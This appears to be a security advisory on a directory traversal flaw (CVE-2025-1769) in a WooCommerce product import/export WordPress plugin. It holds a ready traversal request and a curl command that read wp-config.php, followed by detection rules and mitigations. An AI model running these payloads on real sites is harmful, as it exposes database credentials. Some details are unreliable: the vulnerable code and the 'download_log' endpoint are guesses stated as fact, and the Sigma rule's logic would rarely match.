CVE-2025-1769

Executive Summary

CVE-2025-1769 is a Directory Traversal vulnerability in the WordPress plugin "Product Import Export for WooCommerce – Import Export Product CSV Suite" by Webtoffee. This flaw affects all versions up to and including 2.5.0. An authenticated attacker with Administrator-level privileges can exploit the download_file() function to read arbitrary log files on the server. While the CVSS score is 4.9 (Medium), the potential for sensitive information disclosure (e.g., database credentials, API keys, or internal paths) makes this a significant security concern for WordPress-based e-commerce sites.

Supply Chain & Package Security

This vulnerability resides in a third-party WordPress plugin, which is part of the WordPress ecosystem. The plugin is distributed via the official WordPress plugin repository and is commonly used in WooCommerce stores. The lack of a confirmed patch (UNKNOWN / UNPATCHED) means that administrators must rely on manual mitigation or removal of the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator-level access required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – Sensitive log file contents can be read
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for Administrator privileges reduces the attack surface, but once an attacker gains such access, they can exfiltrate sensitive data from log files, potentially leading to further compromise.

Deep Dive & Mechanics

The vulnerability exists in the download_file() function of the plugin. This function is intended to allow administrators to download log files for debugging purposes. However, it fails to properly sanitize user-supplied input, specifically the file path parameter. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended log directory and read arbitrary files on the server.

Root Cause: The download_file() function likely uses a user-supplied filename or path without validating that it resides within the allowed log directory. This allows an attacker to specify paths like ../../../../etc/passwd or ../../../../wp-config.php to read sensitive files.

Attack Flow:

1. Attacker authenticates as an Administrator.
2. Attacker crafts a request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=download_log&file=../../../../etc/passwd).
3. The plugin reads the file and sends it to the attacker.
4. Attacker extracts sensitive information (e.g., database credentials, API keys, internal paths).

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

function download_file() {
    $file = $_GET['file'];
    $log_dir = WP_CONTENT_DIR . '/uploads/logs/';
    $file_path = $log_dir . $file;
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        readfile($file_path);
    }
}

Patched Code (Expected):

function download_file() {
    $file = basename($_GET['file']); // Remove path components
    $log_dir = WP_CONTENT_DIR . '/uploads/logs/';
    $file_path = $log_dir . $file;
    // Additional check to ensure file is within allowed directory
    if (strpos(realpath($file_path), realpath($log_dir)) === 0 && file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        readfile($file_path);
    }
}

The patched version uses basename() to strip directory traversal sequences and realpath() to verify the resolved path is within the intended directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with the vulnerable plugin (version <= 2.5.0).
• Administrator credentials.

Exploitation Steps:

1. Log in as an Administrator.
2. Identify the vulnerable endpoint. Typically, it is an AJAX action like download_log.
3. Craft a request to read sensitive files:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [admin_cookie]
   
   action=download_log&file=../../../../wp-config.php
   

4. The server will respond with the contents of wp-config.php, which may contain database credentials.

Example cURL Command:

curl -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -H 'Cookie: wordpress_logged_in_xxx=admin_cookie' \
  -d 'action=download_log&file=../../../../wp-config.php'

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to admin-ajax.php with the action=download_log parameter.
• Look for path traversal patterns in the file parameter (e.g., ../, ..\\, %2e%2e%2f).
• Alert on Administrator-level users accessing log files outside normal business hours.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Restrict access to the vulnerable endpoint using .htaccess or server-level rules.
• Regularly review and rotate sensitive credentials stored in log files.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=download_log and file parameter containing ../ or ..\\.
  • Unusual outbound data transfers from the server, especially of configuration files.
• File System IOCs:
  • Unexpected access to files outside the plugin's log directory (e.g., /etc/passwd, wp-config.php).
  • Modified or deleted log files indicating attempted cleanup.
• Log IOCs:
  • Web server logs showing repeated admin-ajax.php requests with path traversal patterns.
  • WordPress debug logs showing errors related to file inclusion.

Detection Engineering

YARA Rule

rule CVE_2025_1769_Directory_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-1769 in WordPress plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-1769"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $action = "download_log"
    condition:
        $action and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-1769 Directory Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in WordPress admin-ajax.php requests
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=download_log'
        cs-uri-query|contains|all:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1769 Directory Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=download_log"; http_client_body; pcre:"/(\.\.\/|\.\.\\\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Webtoffee.
2. Implement a WAF rule to block path traversal patterns in the file parameter.
3. Restrict access to the vulnerable endpoint using .htaccess:

   <Files "admin-ajax.php">
       Require all denied
   </Files>
   

   (Note: This will break legitimate AJAX functionality; use with caution.)

Long-term Actions:

• Monitor the Webtoffee plugin page for a security update.
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.
• Implement file integrity monitoring to detect unauthorized file access.

Workaround:

• If the plugin is critical for business operations, consider temporarily replacing it with an alternative plugin that provides similar functionality without the vulnerability.

Valters IT